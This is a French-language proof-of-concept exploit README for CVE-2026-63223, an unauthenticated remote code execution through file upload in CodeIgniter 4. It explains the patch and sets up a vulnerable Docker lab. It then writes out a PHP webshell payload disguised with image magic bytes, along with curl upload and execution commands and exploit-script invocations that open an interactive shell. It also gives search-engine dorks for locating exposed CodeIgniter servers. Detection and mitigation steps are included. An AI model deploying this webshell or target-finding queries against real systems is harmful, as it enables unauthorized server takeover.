CVE-2026-63223 PoC — Exécution de code à distance (RCE) via téléversement de fichier dans CodeIgniter 4 (is_image/mime_in) (CVSS 9.8). Exécution de code à distance non authentifiée via un contournement du téléversement de fichier sans restriction utilisant les octets magiques d'image. Corrigé dans la v4.7.4.
CVSS 9.8 (Critique) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434 : Téléversement sans restriction d'un fichier de type dangereux
Version corrigée : CodeIgniter 4 v4.7.4
Avis de sécurité : GHSA-mmj4-63m4-r6h5
Les règles de validation de téléversement de fichiers is_image et mime_in de CodeIgniter 4 n'inspectent que le type MIME dérivé du contenu (octets magiques), et non l'extension du nom de fichier fourni par le client.
Un attaquant non authentifié peut préfixer des octets magiques d'image (GIF89a, \xFF\xD8\xFF\xE0, \x89PNG…) à un webshell PHP, le nommer , et celui-ci passera la validation ou tout en conservant une extension exécutable dangereuse. Lorsque le fichier téléversé est stocké dans un répertoire accessible via le web, l'attaquant obtient une .
shell.phpis_imagemime_inis_image ou mime_in sans contrôle indépendant de l'extension (ext_in).php)Le correctif de la v4.7.4 ajoute deux nouvelles méthodes auxiliaires et les intègre aux règles de validation :
is_image — Avant vs Après// AVANT (vulnérable) — vérifie uniquement que le MIME commence par "image/"
if (mb_strpos($type, 'image') !== 0) {
return false;
}
return true;
// APRÈS (corrigé) — vérifie aussi que l'extension est un type d'image
if (mb_strpos($type, 'image') !== 0) {
return false;
}
if ($this->hasInvalidImageClientExtension($file)) { // ← NOUVEAU
return false;
}
return true;
mime_in — Avant vs Après// AVANT (vulnérable) — vérifie uniquement que le MIME figure dans la liste autorisée
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
return true;
// APRÈS (corrigé) — vérifie aussi que l'extension correspond au contenu détecté
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
if ($this->hasMismatchedClientExtension($file)) { // ← NOUVEAU
return false;
}
return true;
// Rejette lorsque l'extension client non vide n'est PAS un type d'image
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
return mb_strpos($type, 'image') !== 0;
}
// Rejette lorsque l'extension client ne correspond pas au type de contenu détecté
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
return $file->guessExtension() !== $clientExtension;
}
Point clé : Le correctif délègue aux méthodes existantes Mimes::guessTypeFromExtension() et $file->guessExtension(), ajoutant une seconde couche de validation. Les téléversements sans extension (par exemple les objets Blob JavaScript) restent acceptés.
CVE-2026-63223-POC/
├── README.md ← ce fichier
├── Dockerfile ← configuration du lab vulnérable
├── docker-compose.yml ← `docker compose up` facile
├── exploit/
│ └── exploit.py ← script d'exploitation Python
└── vulnerable-app/
├── app/Controllers/Upload.php ← contrôleur vulnérable
├── app/Config/Routes.php ← routage
└── app/Views/
├── upload_form_avatar.php ← formulaire de contournement is_image
├── upload_form_doc.php ← formulaire de contournement mime_in
└── upload_form_safe.php ← formulaire de référence SAFE
# Construire et démarrer l'application vulnérable
docker compose up -d
# Vérifier qu'elle fonctionne
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"
# Ouvrir dans le navigateur
open http://localhost:8080/upload/avatar
| Point de terminaison | Vulnérabilité | Validation |
|---|---|---|
/upload/avatar | VULNÉRABLE | is_image uniquement |
/upload/document | VULNÉRABLE | mime_in uniquement |
/upload/safe | SAFE (témoin) | is_image + ext_in |
# Installer la dépendance
pip install requests
# Exécution d'une seule commande
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"
# Shell interactif
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell
# Utilisation du vecteur mime_in (avec le PDF dans la liste autorisée, mais PHP passe quand même)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"
# Générer le payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# Vérifier qu'il est reconnu comme une image par file(1)
file evil.php
# → evil.php: GIF image data
# Téléverser vers le point de terminaison is_image vulnérable
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar
# Exécuter
curl http://localhost:8080/uploads/evil.php?c=id
# Variante JPEG (passe aussi is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method jpg --filename wp-admin.php --cmd "ls -la /"
# Variante PNG (passe aussi is_image, extension .phtml)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method png --filename config.phtml --shell
La superglobale PHP $_FILES et l'objet UploadedFile de CodeIgniter transportent deux informations distinctes :
type / getMimeType() — Dérivé des octets magiques du fichier (basé sur le contenu), envoyé par le navigateur comme partie Content-Type du téléversement multipartname / getClientName() — Le nom de fichier d'origine provenant du client, y compris l'extensionAvant le correctif, is_image et mime_in ne vérifiaient que #1. Un attaquant envoie :
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif
GIF89a
<?php system($_REQUEST['c']); ?>
is_image voit image/gif → passeshell.php (nom client conservé).php du répertoire uploads → RCEAprès le correctif, l'extension est recoupée :
hasInvalidImageClientExtension() voit .php → rejetteRecherchez les fichiers PHP/PHTML/PHP5 contenant des octets magiques d'image dans votre répertoire de téléversements :
# Trouver les fichiers PHP commençant par des en-têtes d'image
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'
# Ou vérifier les octets bruts
xxd uploads/*.php | head
# Page d'accueil par défaut de CodeIgniter 4
http.title:"Welcome to CodeIgniter"
# Barre d'outils de débogage CI4 (exposée en mode développement)
http.html:"debugbar_loader"
# Empreinte cookie / session par défaut de CI4
http.component:"CodeIgniter"
# Applications propulsées par CI4 avec des points de terminaison de téléversement de fichiers
http.title:"CodeIgniter" http.html:"upload"
# Recherche large — toute instance CI4
"CodeIgniter" "X-Powered-By: PHP"
# Squelette par défaut de CodeIgniter 4
body="CodeIgniter" && body="Welcome to"
# Barre d'outils de débogage CI4 divulguée (mode dev = plus probablement vulnérable)
body="debugbar_loader" && body="kint-rich"
# Formulaires de téléversement de fichiers sur CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"
# Empreinte de session CI4 dans Set-Cookie
header="ci_session"
# Détection large de CI4
app="CodeIgniter Framework"
# ZoomEye
app:"CodeIgniter" +"file upload"
# Censys
services.http.response.body:"Welcome to CodeIgniter"
ext_in en plus de is_image/mime_in<Directory "/var/www/html/public/uploads">
php_admin_flag engine off
</Directory>
Ce PoC est destiné uniquement à des fins éducatives et à des tests de sécurité autorisés. La vulnérabilité a été divulguée de manière responsable et corrigée. N'utilisez pas ce PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.